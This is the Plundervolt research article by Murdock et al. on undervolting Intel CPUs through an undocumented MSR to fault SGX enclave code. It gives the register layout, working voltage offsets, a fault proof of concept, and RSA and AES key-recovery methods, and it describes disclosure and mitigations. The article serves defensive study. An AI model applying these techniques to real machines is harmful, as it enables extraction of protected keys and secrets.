University of Birmingham

Plundervolt: How a Little Bit of Undervolting CanCreate a Lot of TroubleMurdock, Kit; Oswald, David; Garcia, Flavio; Van Bulck, Jo; Gruss, Daniel; Piessens, Frank

DOI:10.1109/MSEC.2020.2990495

Document VersionPeer reviewed version

Citation for published version (Harvard):Murdock, K, Oswald, D, Garcia, F, Van Bulck, J, Gruss, D & Piessens, F 2020, 'Plundervolt: How a Little Bit ofUndervolting Can Create a Lot of Trouble', IEEE Security & Privacy Magazine, vol. 18, no. 5, pp. 28-37.https://doi.org/10.1109/MSEC.2020.2990495

Link to publication on Research at Birmingham portal

General rightsUnless a licence is specified above, all rights (including copyright and moral rights) in this document are retained by the authors and/or thecopyright holders. The express permission of the copyright holder must be obtained for any use of this material other than for purposespermitted by law.

•Users may freely distribute the URL that is used to identify this publication.•Users may download and/or print one copy of the publication from the University of Birmingham research portal for the purpose of privatestudy or non-commercial research.•User may use extracts from the document in line with the concept of ‘fair dealing’ under the Copyright, Designs and Patents Act 1988 (?)•Users may not further distribute the material nor use it for the purposes of commercial gain.

Where a licence is displayed above, please note the terms and conditions of the licence govern your use of this document.

When citing, please reference the published version.

Take down policyWhile the University of Birmingham exercises care and attention in making items available there are rare occasions when an item has beenuploaded in error or has been deemed to be commercially or otherwise sensitive.

If you believe that this is the case for this document, please contact UBIRA@lists.bham.ac.uk providing details and we will remove access tothe work immediately and investigate.

Download date: 25. Jan. 2022

Plundervolt: How a little bit ofundervolting can create a lot oftroubleKit Murdock∗, David Oswald∗, Flavio D. Garcia∗, Jo Van Bulck‡, Daniel Gruss†, and FrankPiessens‡∗University of Birmingham, UKkxm663@cs.bham.ac.uk, d.f.oswald@bham.ac.uk, f.garcia@bham.ac.uk†Graz University of Technology, Austriadaniel.gruss@iaik.tugraz.at‡imec-DistriNet, KU Leuven, Belgiumjo.vanbulck@cs.kuleuven.be, frank.piessens@cs.kuleuven.be

IntroductionTwo-thirds of the world’s population now own

a personal computing device in the form of asmart phone. These devices store vast amounts ofprivacy-sensitive data along with a large numberof user applications. Trusted Execution Environ-ments (TEEs) were created out of the need toprotect our private and valuable data from other,possibly malicious, applications and even theoperating system itself.

But it is not just mobile phones that store valu-able data—our personal computers often carrycopies of our passwords. We use our computersfor online banking and this is where it’s desirablethat no adversary can tamper with the data, even ifthe computer’s operating system is compromised.

For these reasons, Intel processors (from2015 onward) include Software Guard Exten-sions (SGX), which allows an application to self-quarantine sensitive data and functions in anenclave using dedicated CPU instructions. Intu-itively, SGX enclaves represent a secure vaultor fortress in the processor, which cannot beread or modified by any other software, includ-ing the privileged operating system. Intel SGXwas purposely designed to protect against themost advanced types of adversaries who have

unrestricted physical access to the host machine,e.g., untrusted cloud providers under the juris-diction of foreign nation states. SGX thereforeincludes state-of-the-art memory encryption tech-nology [4] that protects the confidentiality, in-tegrity and freshness of all enclave memory whileit resides in untrusted off-chip DRAM.

Performance vs. securityMore and more is being demanded of our

computers: faster response times to render com-plex graphics, multiple programs being run atonce and constantly switching applications. Thesedemands increase power consumption and raisethe temperature of already over-worked comput-ers. To manage this, CPU manufacturers haveintroduced various software interfaces to dynami-cally adjust the processor’s operating voltage andfrequency.But, as we will see, putting this powerat a user’s finger tips comes with a cost. Withgreat power comes great responsibility.

Hardware is being optimized to meet thegrowing need for performance. The aim: to max-imize performance whilst keeping functional cor-rectness. Modern processors cannot continuouslyrun at maximum clock frequency—they wouldsimply get too hot. And, in mobile devices, the

1

battery would drain too quickly.In an electrical circuit, voltage and frequency

can be thought of as two sides of the same coin:higher clock frequencies require higher voltagesfor electrical signals to arrive in time, and, like-wise, lower voltages require the processor andmemory to operate at a slower rate.

Power management jargon therefore specifiesoptimal “frequency/voltage pairs” for differentuse cases. Hence, the question arises: if frequencyand voltage are changed independently, what willhappen? As we discuss below, this is the ques-tion that security researchers have been exploringwhen attempting to deliberately induce faultycomputations and take advantage of the resultingerrors.

Software-based fault attacksSince the early days of computing, researchers

recognized that software computation results maybe affected when hitting the physical limits ofthe underlying hardware, e.g., after adjusting thevoltage, glitching the clock, overheating or cool-ing the operating temperature, or even focusinga laser at a chip [2]. Apart from apparent safetyconcerns, for instance in the avionics or spaceindustry, these fault injections have also been ex-tensively studied from a security perspective. Thatis, fault attacks may deliberately corrupt calcula-tions in order to bypass security mechanisms suchas sophisticated “You shall not pass” functions.For a long time, such advanced fault attacks wereconsidered to be of limited importance as theyrequired physical access to the target device, e.g.,a smart card.

This all changed, however, in 2014 with thediscovery of the Rowhammer [7] effect, whichcauses bits flips in memory—entirely from soft-ware. Underlying this attack is the physical layoutof DRAM, which consists of capacitors storingvery small voltage charges for ‘1’s and ‘0’s. Se-curity researchers observed that DRAM memorycells can leak their charges into nearby memoryrows when they are accessed at high frequency—causing memory corruption and bit flips. In otherwords, Rowhammer fundamentally changed thethreat of fault attacks. It is no longer just adver-saries with physical access, attacks can now bemounted by remotely executing code to modifyspecific data structures and escalate privileges.

Mem

OS kernel

App Enclave app

CPU

Figure 1. Plundervolt circumvents SGX’s memoryencryption engine protection boundaries by abusingan undocumented voltage scaling interface which al-lows privileged software adversaries to induce pre-dictable computation faults within the processor itself.

Rowhammer remained, for some time, theonly known purely software-based fault attack onx86 systems. However, Intel ultimately considersmain memory as an untrusted storage facility inthe design of SGX [4]. When researchers triedto attack SGX with Rowhammer, they merelydiscovered a denial-of-service effect because thememory encryption engine produced an integritycheck error, halting the entire system. Intel SGXenclaves were hence considered immune to suchfault attacks!

Initially, researchers were only interested inattackers who were unprivileged, e.g., in a sand-boxed environment like JavaScript. However,with the creation of TEEs such as Intel SGX,ARM TrustZone, and AMD SEV, threat mod-els changed once again. In the newly emergingTEE landscape, it suddenly becomes vital toprotect against attackers who have gained rootprivileges. In 2017, Tang et al. [11] presented aprivileged software fault attack called CLKscrew.They discovered that ARM processors permittedchanging the frequency and voltage from systemsoftware. And this is where the story really starts.CLKscrew showed that overclocking features canbe abused to jeopardize the integrity of com-putations for privileged adversaries in the ARMTrustzone TEE. This attack has been demon-strated to defeat RSA signature checks and extractfull cryptographic keys from the TrustZone of aNexus 6 mobile phone.

2

Why Plundervolt is differentWith our new attack, Plundervolt, we demon-

strate the first ever software-based fault injectionattack against Intel SGX enclaves. Plundervoltabuses undocumented power management inter-faces present in all recent Intel Core processors.We use these interfaces to lower the voltageand cause predictable faults in secure enclavecomputations. Our attack is able to steal secrets—even in the presence of state-of-the-art memoryencryption technology (Fig. 1). In contrast toprior high-profile attacks on Intel SGX, whichabused microarchitectural design flaws to breakconfidentiality of enclave secrets [13, 14], we arethe first to demonstrate that even the integrityof seemingly secure enclave computations cannotbe trusted anymore. But we didn’t only breakcrypto code. We show that an attacker can inducememory-misbehavior in secure, bug-free codewithout any enclave software vulnerabilities [15].

For a more technical description, we pointinterested readers to our original paper [9], onwhich this article is based.

Current status and concurrent discoveriesAfter we responsibly disclosed our findings

and Intel prepared a microcode patch, Plundervoltwas disclosed to the public on December 10,2019. Intel confirmed that we were the first toreport this issue. However, during the embargoperiod, two other research teams independentlyinvestigated undervolting security implications.One of these, known as V0LTpwn [6] outlinesa similar attack on Intel SGX enclaves whereundervolting is used, in combination with addi-tional stress from a sibling logical processor, tostudy the fault behavior of x86 vector instruc-tions. Also, another group of researchers devel-oped the VoltJockey [10] attack against ARMprocessors. VoltJockey continued the CLKscrewsaga by showing that secure TrustZone computa-tions can also be faulted through voltage changes.This attack was later also demonstrated on IntelSGX processors, by faulting a proof-of-conceptsoftware-based AES implementation.

The Plundervolt effectBefore we discuss undervolting, we need to

talk about overclocking. CPUs have official max-imum clock frequency limits, but gamers often

63 42 40 36 32 31 21 0

1 plane idx

0 = CPU core1 = GPU2 = cache (core)3 = uncore4 = analog I/O

1 r/w

write-enable

offset

11-bit signed voltage offset(in units of 1/1024 V)

Figure 2. Layout of the undocumented MSR 0x150

for undervolting.

want to speed up their machines by pushing theclock frequency over the recommended values.

This can be tricky because integrated circuitshave strict timing requirements. The electricalsignals need to pass through the circuitry withinone clock cycle before the next signals arrive. Ifthe clock is too fast, computation results may notarrive in time: leading to bit flips in the expectedoutput. Similarly, the lower the voltage, the longerit takes to propagate input signals throughoutthe circuitry. So, if the voltage is too low (fora specific frequency) the input signals may nottraverse the circuitry before the next clock tick.

Intel processors have features that enable themodification of both clock frequency and CPUvoltage from privileged software. These are con-trolled through undocumented Model SpecificRegisters (MSRs). We focus on MSR 0x150which is responsible for voltage. Figure 2 showshow the 64-bit value in MSR 0x150 can bedecomposed into a plane index and a voltageoffset. By specifying the plane index, systemsoftware can select which components will havetheir voltage changed. The CPU core and cacheshare the same voltage plane on all machines wetested and the higher voltage will be applied toboth. The voltage offset is encoded as an 11-bitsigned integer relative to the core’s base voltagein units of approximately 1 mV.

This feature can be abused to inject faultsinto secure SGX computations. For starters, weconfigured the CPU to run at a fixed frequency.Then, undervolting is applied by writing to theconcealed MSR 0x150 just before entering thecode in the victim enclave. After returning fromthe enclave, the host program immediately returnsto a stable operating voltage.

One of the hardest parts of this research was

3

finding good parameters to work with. Too muchundervolting and the system repeatedly crashes,too little and no faults are injected. We experi-mented by reducing the voltage in small steps of1 mV until a fault occurs but before the dreadedkernel panic or system freeze. In practice, wefound that it is sufficient to undervolt for short pe-riods of time (<100 ms) by -100 mV to -260 mV,depending on the specific CPU, frequency, andtemperature.

Tested processorsWe tested different SGX-enabled processors

from Skylake onwards , cf. Table 1. We hadmultiple CPUs with the same model numbersand, surprisingly, we found they can respondvery differently when undervolted. We list eachindividual processor with a letter appended. Allour tests were run on Ubuntu 16.04 or 18.04 withstock Linux v4.15 and v4.18 kernels.

Table 1. Processors used for the experiments in this paper.

Code name Model no. µ-code Frequency

Skylake i7-6700K 0xcc 2.0 GHzKaby Lake i7-7700HQ 0x48 2.0 GHz

i3-7100U-A 0xb4 1.0 GHzi3-7100U-B 0xb4 2.0 GHzi3-7100U-C 0xb4 2.0 GHz

Kaby Lake-R i7-8650U-A 0xb4 1.9 GHzi7-8650U-B 0xb4 1.9 GHzi7-8550U 0x96 2.6 GHz

Coffee Lake-R i9-9900U 0xa0 3.6 GHz

Inducing the first enclave faultWe tried undervolting various x86 instruc-

tions. We observed that multiplications (e.g.,imul) and other complex instructions such as theAES-NI extensions can be most easily faulted.We do not definitively know why these specificinstructions, but we can put forward a conjecture:these instructions will have longer critical pathscompared to simpler operations. Not only that,they will have been more aggressively optimized.When lowering the voltage, electrical signals maynot have enough time to propagate through thecircuitry before the next clock tick.

Consider the following enclave multiplicationproof-of-concept (the code compiles to assemblywith imul instructions):

uint64_t multiplier = 0x1122334455667788;

uint64_t correct = 0xdeadbeef * multiplier;

uint64_t var = 0xdeadbeef * multiplier;

while (var == correct)

{

var = 0xdeadbeef * multiplier;

}

uint64_t flipped_bits = var ˆ correct;

Clearly, this is an infinite loop—it shouldnever terminate. But undervolting leads to a bit-flip in var, typically in byte 3 (counting from theleast-significant byte as byte 0). This forces theenclave program to erroneously exit the loop. TheXOR on the last line highlights only the flippedbit(s). In this configuration, the output is always0x04000000. This is worth emphasising: theloop always exits with the same bit flipped.

In-depth analysis of undervolting effectsTo better understand what was happening, we

undervolted and measured the core voltage usingthe fully documented MSR 0x198(MSR_PERF_STATUS). For different clock frequencies, werecorded both the base voltage and the voltagewhen the first faulty result appeared. The resultsfor the i3-7100U-A are shown in Figure 3.

Figure 3. Base voltage (blue) and voltage for first fault(orange) vs. CPU frequency for the i3-7100U-A

We induced thousands of faulted multiplica-tions and were able to draw up some conclusions.The faulty results, see Table 2 for selected exam-ples, generally fell into the following categories:(i) one to five (contiguous) bits flip or (ii) allmost-significant bits flip. And, very occasionallywe observed faulty states in between. From this,we can summarise:

4

• The smallest first operand to fault was0x89af;• the smallest second operand to fault was0x1;• the smallest faulted product was0x80000*0x4, resulting in 0x200000;• the order of the operands is important: for

example, 0x4*0x80000 never faulted inour experiments.

Table 2. Faulted multiplications on i3-7100U-B at 2 GHz

Start Mult Faulty result Flipped bits

0x080004 0x0008 0xfffffffff0400020 0xfffffffff00000000xa7fccc 0x0335 0x000000020abdba3c 0x00000000100000000x9fff4f 0x00b2 0x000000004f3f84ee 0x00000000200000000xacff13 0x00ee 0x000000009ed523aa 0x000000003e0000000x2bffc0 0x0008 0x00000000005ffe00 0x00000000010000000x2bffc0 0x0008 0xfffffffff15ffe00 0xfffffffff00000000x2bffc0 0x0008 0x00000100115ffe00 0x0000010010000000

The probability of a fault increases with theundervolting: on the i3-7100U-B, we had to re-peat 0xae0000 * 0x18 around 1,000,000,000times to fault at -130 mV, while 500,000 repeti-tions were sufficient at -146 mV.

From faults to enclave key extractionHaving shown that Plundervolt can practically

fault in-enclave computations, let us see how thattranslates to actual attacks against widely-usedcryptographic algorithms that secure our everydaycommunications.

Factoring RSA keys with one faultWe wrote a proof-of-concept application for

RSA signature generation that would run insidean enclave. We used Intel’s example code whichuses the Chinese Remainder Theorem (CRT) op-timization. Given an RSA public key (n, e) andthe corresponding private key (d, p, q), RSA-CRT makes the computation time of y = xd

(mod n) up to four times faster.RSA-CRT private key operations (decryption

and signature) are well-known to be vulnerableto the famous Bellcore attack, one of the firstpublished fault attacks [3]. This requires a fault inone of the two exponentiations of the core RSAoperations. And if we can do that—we only needone single faulty signature to be able to factor themodulus n:

q = gcd (y − y′, n) , p = n/q

The Lenstra method removes the need to ob-tain both correct and faulty outputs for the sameinput x by computing q = gcd ((x′)

e − y, n).To make sure we only hit one exponentiation

we undervolted for roughly the first third of theenclave computation. The obtained faults couldthen be used to factor the 2048-bit RSA modu-lus using the Lenstra and Bellcore attacks—thusrecovering the full key.

Breaking AES-NIIntel’s AES New Instructions (AES-NI) pro-

vide efficient hardware implementations for keyschedule and round computation. These instruc-tions are widely used in the Intel SGX-SDKto implement crucial operations like sealing andunsealing, which refers to the encryption anddecryption of enclave secrets so that they can bepersistently stored outside the enclave, e.g., onthe untrusted hard drive [1]. Other SGX cryptolibraries (e.g., mbedtls in Microsoft OpenEn-clave) similarly rely on AES-NI instructions.

Our experiments show that the AES-NI en-cryption round instruction (v)aesenc is vul-nerable to Plundervolt attacks: we observed faultson the i7-8650U-A with -195 mV undervoltingand on the i3-7100U-A with -232 mV undervolt-ing. The faults were always a single bit-flip on theleftmost two bytes of the round function’s output.Such single bit-flip faults are ideally suited forDifferential Fault Analysis (DFA).

We ran a canonical implementation usingAES-NI instructions in an enclave with under-volting as before. By repeating the attack a fewtimes, we got a fault in round 8:plaintext: 5ABB97CCFE5081A4598A90E1CEF1BC39CT1: DE49E9284A625F72DB87B4A559E814C4 <- faultyCT2: BDFADCE3333976AD53BB1D718DFC4D5A <- correct

input to round 10:1: CD58F457 A9F61565 2880132E 14C324012: AEEBC19C D0AD3CBA A0BCBAFA C0D77D9F

input to round 9:1: 6F6356F9 26F8071F 9D90C6B2 E68845342: 6F6356C7 26F8D01F 9DF7C6B2 A4884534

input to round 8:1: 1C274B5B 2DFD8544 1D8AEAC0 643E70A12: 1C274B5B 2DFD8544 1D8AEAC0 646670A1

Now we apply the differential fault analysistechnique by Tunstall et al. [12], which, given apair of correct and faulty ciphertexts on the sameplaintext, recovers the full 128-bit AES key witha computational complexity of only 232 + 256

5

encryptions on average. In practice it takes a fewminutes to extract the full AES key from theenclave, including both fault injection and keyrecovery phases. It is worth noting that the attackswe are using were first discovered in embeddedsystems. These twenty-year-old fault attacks cannow be leveraged against CPUs on non-embeddeddevices such as consumer laptops and companyservers.

Other faults in cryptoBesides key extractions from RSA-CRT and

AES-NI, we were able to inject faults into SGX-provided crypto functions: the MAC used in AES-GCM, elliptic curve signatures and key exchange.We also looked at the SGX-provided instruc-tions for key derivation and attestation [1]. TheEGETKEY instruction derives an enclave-specific128-bit symmetric key from a hardware-levelmaster secret, which is never directly exposedto software. The key derivation uses AES-CMACwith a software-provided KeyID and the callingenclave’s identity. Our experiments on the i3-7100U-C running at 2 GHz with -134 mV under-volting showed that Plundervolt can reliably faultsuch key derivations. Interestingly, we noticedthat key derivation faults appear to be largelydeterministic: for a fixed KeyID, the same wrongkey seems to be produced most of the time whenundervolting, even across reboots.

SGX supports local attestation through theEREPORT primitive to create a measurementreport for another target enclave on the sameplatform. EREPORT first performs an internalkey derivation to establish a secret key that canonly be derived by the intended target enclaveon the same processor. This key is then used tocreate a 128-bit AES-CMAC that authenticatesthe report data. We experimentally confirmedthat Plundervolt can indeed reliably induce faultsin local attestation report MACs. As with theEGETKEY experiments above, we noticed thatthe faulty MACs appear to be deterministic—butthey do change across reboots, because EREPORTgenerates an internal random KeyID on everyprocessor power cycle.

This does not directly break SGX’s securityobjectives (attestation will simply fail), but faultykey derivations may reveal information about theprocessor’s long-term key material that should

a[0]

a[1]

...

a[i]

+

i x

sizeof(elem_t)

&a[i]

Figure 4. The address of element a[i] in an array iscomputed as &a[0]+i*sizeof(elem_t).

never be exposed. We leave further explorationand cryptanalysis of the above faults as futurework.

Beyond cryptoFrom our previous examples it would be log-

ical to assume that only cryptographic code isvulnerable to Plundervolt. However, we were ableto attack standard code—and this is where thingsget really interesting.

We know that compilers rely on multiplica-tion results for pointer arithmetic and memoryallocation. These multiplications themselves arenot visible at the source-code level—but theyare generated under the hood. Consequently, ifwe can fault one of these compiler-generatedmultiplications, we can introduce memory-safetyissues in code that is entirely bug-free. As anexample, Fig. 4 illustrates how the pervasive codepattern of indexing into an array may cause thecompiler to use a multiplication to dynamicallycompute the address of element a[i]. Crucially,unexpected out-of-bounds accesses will occur ifan attacker can fault such compiler-generatedmultiplications to produce incorrect addresses. Inother words, Plundervolt ultimately breaks theprocessor’s architectural instruction specification,thereby violating the hardware-software contractexpected by the compiler.

We explore two scenarios where faulty mul-tiplications break memory safety in seeminglysecure code. We first present a case-study en-clave application where a trusted in-enclave arraypointer is flipped to untrusted, attacker-controlledmemory outside the enclave. Next, we look atmemory allocations where Plundervolt may causeheap corruption.

6

Faulting pointer arithmeticsLet us revisit the array indexing example of

Fig. 4, where a multiplication is used to cal-culate the effective memory address of the i-thelement in an array. Intuitively, all an attackerhas to do is undervolt whilst the multiplication isbeing performed and unexpected addresses willbe produced. However, there are some limitations.When the type elem_t has a size that is a powerof two, compilers will use left bitshifts insteadof explicit imul instructions. We also foundit difficult to consistently produce multiplicationfaults where both operands are ≤0xFFFF. Wewere able to fault with smaller operands—but wecrashed the computer a lot more. Therefore weonly consider cases where:

sizeof(elem_t) 6= 2x and i > 216.

An example scenarioTo demonstrate that our attack is realistic and canbe exploited in compiler-generated enclave code,we constructed a small case-study application.Consider an enclave that holds a relatively largeamount of data in an array of struct elements.This could, for example, be a long list of biomet-ric features in a fingerprint template.

We assume that the enclave loads secret datainto this array, e.g., the user’s fingerprint tem-plate decrypted from permanent storage. The codemight look like this:

// Get offset to feature in large array

// with around 500k elements

fingerprint_feature_t *f = &features[idx];

// Store some secret data into array entry

f->data = some_secret_feature;

Figure 5 overviews the attack procedure. Dur-ing normal execution, only trusted memory insidethe enclave will ever be referenced. When under-volting 1 during the imul used for computingthe pointer f, however, the higher bits of theproduct may flip. This effectively causes the resultto become a large negative offset, relative tothe trusted array base address. Crucially, afteradding this corrupted offset, the resulting addresssuddenly points into the untrusted address spaceoutside the enclave. Now, the victim enclaveunknowingly dereferences the outside pointer asif it was in-enclave memory. As the referenced

FEATURE_A

FEATURE_B

...

idx

Enclave virtual memory range

Attacker-controlled memory page

fill_user_features:

...f=features+idx*sizeof

SECRET_FEATURE

...

12

4

mmap(...)3

5

Page fault handler

Figure 5. Example scenario of an application en-clave where erroneous multiplication bitflips allow toredirect a trusted fingerprint array lookup to attacker-controlled memory outside the enclave.

address is most likely not currently mapped, thisaccess causes a page fault 2 which invokes theuntrusted operating system. We installed a custompage fault handler 3 that maps the requireduntrusted memory page on demand. The attackercan now simply resume 4 the enclave. It will un-knowingly 5 write some_secret_featureinto untrusted, attacker-controlled memory. Plun-dervolt has succeeded in breaking perfectly se-cure, bug-free code.

Faulting memory allocationsAnother example for fault-induced vulnerabil-

ities are size computations for dynamic memoryallocations. These are very common and (again)rely on multiplications. For example, a large arrayof struct elements might be allocated using:

// Compute size

size_t size = count * sizeof(elem_t);// Allocate array

elem_t *array = malloc(size);

// ... use array ...

But we showed that Plundervolt breaks theprocessor’s architectural guarantees as imul canbe faulted to produce erroneous results that aresmaller than the expected value. If a multiplica-tion fault occurs during calculation of the sizevariable, a smaller buffer than expected will be al-located. Because Plundervolt corrupts multiplica-tions silently, without failing the malloc() call,

7

the subsequent code has no means of determiningthe actual size of the allocated buffer. Subsequentwrites or reads to the allocated buffer will assumea larger buffer and hence read or write out ofbounds, corrupting the trusted enclave heap—Plundervolt has again induced a memory-safetyissue in memory-safe code.

The bigger pictureThe ideas presented here have implications

beyond SGX and Plundervolt. Many researchershave studied the use of faults to break crypto-graphic algorithms. Less attention has been paidto fault injection for inducing memory-safetyissues into safe code. But any code, whetherit is running on a small embedded device orinside an enclave on a complex processor, is, inprinciple, vulnerable to this type of attack—theonly requirement is that some vector for faultinjection exists. This is a substantial shift in therisk potential for at least two reasons.

Firstly, now all software, not just crypto-graphic implementations, needs protection againstfault attacks, forming a much bigger pool ofattack targets than previously anticipated.

Secondly, code execution for software-basedfault attacks is often easier to obtain than hookingup an oscilloscope and glitching equipment toa specific victim machine. Thus, inducing faultsvia (remote) code execution may be a muchmore realistic threat and, at the same time, affectsubstantially more users.

Countermeasures and counterattacksDue to SGX’s threat model, countermeasures

cannot be implemented at the level of the un-trusted OS or in the untrusted runtime com-ponents (which the attacker controls). Instead,unsafe undervolting can only be prevented in theCPU hardware or microcode.

Alternatively, the trusted in-enclave code itselfcan be hardened against faults. One approach todo that would be to detect faulty computationresults. Such a defense could leverage ideas frommulti-variant execution techniques. Specifically:one could execute enclaved computations twicein parallel on two different cores or hyperthreadsand halt if executions diverge.

Many fault injection countermeasures havebeen proposed for cryptographic algorithms, in-

cluding the use of (generic) temporal redun-dancy (i.e., compute-twice-and-compare) as wellas more algorithm-specific approaches. For in-stance in the RSA-CRT case, the signature couldbe verified. In the AES-NI case the encryptioncan be verified with a subsequent decryption,and so on. However, this would incur substantialperformance overheads.

For non-cryptographic code the situation iscomplicated—the exact results of a fault injectionwill vary. Mitigations like address space layoutrandomization (which changes the location of theprogram in memory each time it runs) makeexploits harder but still do not remove the rootcause.

Removing the undervolting interface (MSR0x150) via microcode or in hardware is a ratherradical solution and will certainly mitigate ourspecific attack. Following the responsible dis-closure (embargoed from June 7, 2019 to De-cember 10, 2019), Intel informed us that theircountermeasure is exactly this—they included anoption to disable MSR 0x150. The fact that anenclave runs on a “protected” machine, i.e., with-out software-controlled undervolting, is verifiablethrough remote attestation. Similiar to previoushigh-profile SGX attacks like Foreshadow [13]and LVI [14], Intel’s mitigation for Plundervoltrequires trusted computing base recovery [1].After the microcode update, different sealing andattestation keys will be derived depending onwhether or not the undervolting interface has beendisabled at boot time. This allows remote verifiersto restore trust after re-encrypting all existingenclave secrets with the new key material.

However, we consider this to be an ad-hocmitigation which does not address the root causefor Plundervolt. Other undiscovered vectors forsoftware-based fault injection through power orclock management features might exist and wouldneed to be similarly disabled. Ultimately, evenwithout any software-accessible interfaces, ad-versaries with physical access to the CPU arealso within Intel SGX’s threat model. The CPUrequests a specific voltage from the mainboard’svoltage regulator via the SerialVID bus. But thisbus appears to be completely unauthenticated. Soan attacker could physically connect to this Se-rialVID bus and overwrite the requested voltagedirectly.

8

Lessons learnedSGX has brought flexible, trusted execution

onto laptops, desktops and servers. Unfortunately,building a high-assurance SGX “fortress” onweak foundations (like the complex and general-purpose x86 microarchitecture), seems unlikelyto succeed. Over and over again, attacks likeForeshadow [13], Spectre [8], and LVI [14] haveshown that microarchitectural optimisations provecatastrophic to SGX’s security.

Some of these attacks, like LVI and Spectre,are somewhat similar in spirit to our work, as theytoo “inject” faulty computations and cause theprogram to deviate from its intended executionpath

Crucially, however, these techniques manifestentirely at the microarchitectural level: the faultycomputations are only “speculatively” executedand are never persisted to the architectural state.Plundervolt goes one step further and inducespersistent architectural faults by exploiting funda-mental physical properties of the CPU—namelythe need for a stable supply voltage. In this, ourwork once again shows that abstraction levels areonly relative in the eyes of attackers. Plundervolt,for the first time, has extended the attack surfaceof SGX from the “high-level” microarchitecturaldesign to the underlying physical properties ofthe electronic circuitry itself. We can only expectmore, yet-undiscovered physical effects to beexploited in the future.

The smartcard industry has spent decades de-fending much less complex chips (typically con-strained 8-bit, 16-bit, or 32-bit microcontrollers)against side channels, power glitching and otherfault attacks. This has led to countermeasureswith substantial overheads. For example, Infineonsmartcard chips include the “Integrity Guard”technology [5] in which the same code is ex-ecuted by two identical CPUs in parallel. Thetwo CPUs constantly cross-check their results todetect fault injection.

The chip layout itself is carefully designedwith special meshes to avoid attackers connectingto the internal data lines and stealing or tamperingwith chip-internal secrets. Third-party labs carryout extensive and expensive tests (e.g. underCommon Criteria) to check and certify that thecountermeasures are effective.

These overheads and costs may be acceptable

for smartcards that protect high-value data innarrow use cases like bank cards or passports.But for general-purpose consumer-grade proces-sors, doubling the size of the whole CPU corewould be absolutely prohibitive. So it remainsto be seen if Intel and others can learn fromthe smartcard experience and strike a balancebetween performance, functionality and security.After all, having a TEE properly secured againstphysical attacks would open up many fantastic,new applications.

In summaryWith Plundervolt, we created a new and pow-

erful attack that breaks the integrity and (indi-rectly) confidentiality of SGX. We demonstratedrealistic and practical attacks against RSA andAES. Fault injection is not limited to small em-bedded devices—it is applicable to large scaleCPUs, and this opens up the landscape of attacks.

Excitingly, we also show that fault attacksare not limited to cryptographic operations—weintroduced controlled memory corruptions, e.g.,flipping bits in pointer arithmetic so as to redirectenclave secrets to be written to untrusted memoryoutside the enclave. As Plundervolt and otherfault attacks ultimately break the processor’s in-struction set specification, even formally verifiedand bug-free code can be successfully attacked.

https://plundervolt.com/

AcknowledgmentsThis research is partially funded by the Re-

search Fund KU Leuven, and by the Agency forInnovation and Entrepreneurship (Flanders). JoVan Bulck is supported by a grant of the ResearchFoundation – Flanders (FWO). This research ispartially funded by the Engineering and Phys-ical Sciences Research Council (EPSRC) undergrants EP/R012598/1, EP/R008000/1, and by theEuropean Union’s Horizon 2020 research and in-novation programme under grant agreements No.779391 (FutureTPM) and No. 681402 (SOPHIA).

9

REFERENCES1. Ittai Anati, Shay Gueron, Simon Johnson, and Vincent Scar-

lata. Innovative technology for CPU based attestation andsealing. In Proceedings of the 2nd international workshop onhardware and architectural support for security and privacy,volume 13. ACM New York, NY, USA, 2013.

2. Hagai Bar-El, Hamid Choukri, David Naccache, MichaelTunstall, and Claire Whelan. The sorcerer’s apprentice guideto fault attacks. Proceedings of the IEEE, 94(2):370–382,2006.

3. Dan Boneh, Richard A. Demillo, and Richard J. Lipton. Onthe Importance of Checking Computations. In Proceedingsof Eurocrypt’97, pages 37 – 51, 1997.

4. Shay Gueron. A memory encryption engine suitable forgeneral purpose processors. ePrint 2016/204, 2016.

5. Infineon. Integrity guard. online, accessed 2020-04-05: https://www.infineon.com/dgdl/Infineon-IntegrityGuard The smartest digital security technologyin the industry 06.18-WP-v01 01-EN.pdf?fileId=5546d46255dd933d0155e31c46fa03fb, 2018.

6. Zijo Kenjar, Tommaso Frassetto, David Gens, MichaelFranz, and Ahmad-Reza Sadeghi. V0ltpwn: Attackingx86 processor integrity from software. arXiv preprintarXiv:1912.04870, 2019.

7. Yoongu Kim, Ross Daly, Jeremie Kim, Chris Fallin, Ji HyeLee, Donghyuk Lee, Chris Wilkerson, Konrad Lai, and OnurMutlu. Flipping bits in memory without accessing them: Anexperimental study of DRAM disturbance errors. In ISCA,2014.

8. Paul Kocher, Jann Horn, Anders Fogh, Daniel Genkin,Daniel Gruss, Werner Haas, Mike Hamburg, Moritz Lipp,Stefan Mangard, Thomas Prescher, Michael Schwarz, andYuval Yarom. Spectre Attacks: Exploiting Speculative Exe-cution. In S&P, 2019.

9. Kit Murdock, David Oswald, Flavio D. Garcia, Jo VanBulck, Daniel Gruss, and Frank Piessens. Plundervolt:Software-based fault injection attacks against Intel SGX. InProceedings of the 41st IEEE Symposium on Security andPrivacy (S&P’20), 2020.

10. Pengfei Qiu, Dongsheng Wang, Yongqiang Lyu, and GangQu. VoltJockey: Breaching TrustZone by Software-Controlled Voltage Manipulation over Multi-core Frequen-cies. In Proceedings of the 2019 ACM SIGSAC Conferenceon Computer and Communications Security, CCS ’19, pages195–209, New York, NY, USA, 2019. ACM.

11. Adrian Tang, Simha Sethumadhavan, and Salvatore Stolfo.CLKSCREW: Exposing the perils of security-oblivious en-ergy management. In USENIX Security Symposium, 2017.

12. Michael Tunstall, Debdeep Mukhopadhyay, and Subidh Ali.Differential fault analysis of the advanced encryption stan-dard using a single fault. In Claudio A. Ardagna andJianying Zhou, editors, Information Security Theory andPractice. Security and Privacy of Mobile Devices in WirelessCommunication, pages 224–233, Berlin, Heidelberg, 2011.Springer Berlin Heidelberg.

13. Jo Van Bulck, Marina Minkin, Ofir Weisse, Daniel Genkin,Baris Kasikci, Frank Piessens, Mark Silberstein, Thomas F.Wenisch, Yuval Yarom, and Raoul Strackx. Foreshadow:Extracting the keys to the Intel SGX kingdom with transientout-of-order execution. In USENIX Security Symposium,2018.

14. Jo Van Bulck, Daniel Moghimi, Michael Schwarz, MoritzLipp, Marina Minkin, Daniel Genkin, Yarom Yuval, BerkSunar, Daniel Gruss, and Frank Piessens. LVI: HijackingTransient Execution through Microarchitectural Load ValueInjection. In 41th IEEE Symposium on Security and Privacy(S&P’20), 2020.

15. Jo Van Bulck, David Oswald, Eduard Marin, Abdulla Al-doseri, Flavio Garcia, and Frank Piessens. A tale of twoworlds: Assessing the vulnerability of enclave shieldingruntimes. In Proceedings of the 26th ACM Conference on

Computer and Communications Security (CCS’19). ACM,November 2019.

10